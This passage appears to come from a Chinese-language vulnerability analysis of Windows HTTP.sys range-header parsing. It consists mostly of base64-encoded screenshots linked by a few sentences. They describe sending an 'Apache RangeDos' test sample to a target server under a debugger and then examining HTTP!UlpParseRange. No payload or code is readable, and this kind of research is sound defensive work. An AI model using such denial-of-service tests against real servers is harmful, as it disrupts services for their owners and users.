aaarticlea/png;base64,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" alt="" />
在断点被触发之后, 堆栈信息会被打印出来, 接着程序继续执行. 我们使用了之前的Apache Rangedos 测试样本针对目标服务器做了攻击性测试, 调试器捕获到了下面这些信息:
aaarticlea/png;base64,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" alt="" />
标准的Apache RangeDos 脚本确实产生了效果,下面让我们更进一步的来看一下 HTTP!UlpParseRange 函数的实现:
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAZAAAAFcCAIAAABp939UAAAgAElEQVR4nO2deVwUR97/+zGzrPFY42Y3x5rEEBZyuTlcn10Tc2hiEowxBvE+kFsRFRQEBRXlkgAiIgIiCIKC3OJFRAW57wZmYBCQQwYY7MGeEInJE5Pf/P6osWgZwMHptgf4fl7vl6+x6Omuqa75TFV11bcIXV1dPT09fX19XV1d9C/6LxJONDAw0NXVRf/V19fX09PDfxrwGObB+JzoXUj4ovgwdIA+Q/3+yswSM2/oBTq5gYGB3gOhw1CuDAwMmDlhfkzVLEE5QDlAOWhnORD9CoX5Z3xq9Ff02fp9GPTJcUHgY9AlkfAZmJ9ENTfMc+JP2O+i/V6oilma/fKM/4vLTvWiUA5QDlAO2lwOhOo1sM/hfKD/oosxTVrVBfELlEtmkek+bNX4jczPiQ/r94FxxvBnHrDghjiSeSeYH7ZfoUA5QDlAOWhzORDM9+Os4NconfmR+p1al9GcY+ZV/+FmIU7EDdEBC4Up/PZ+B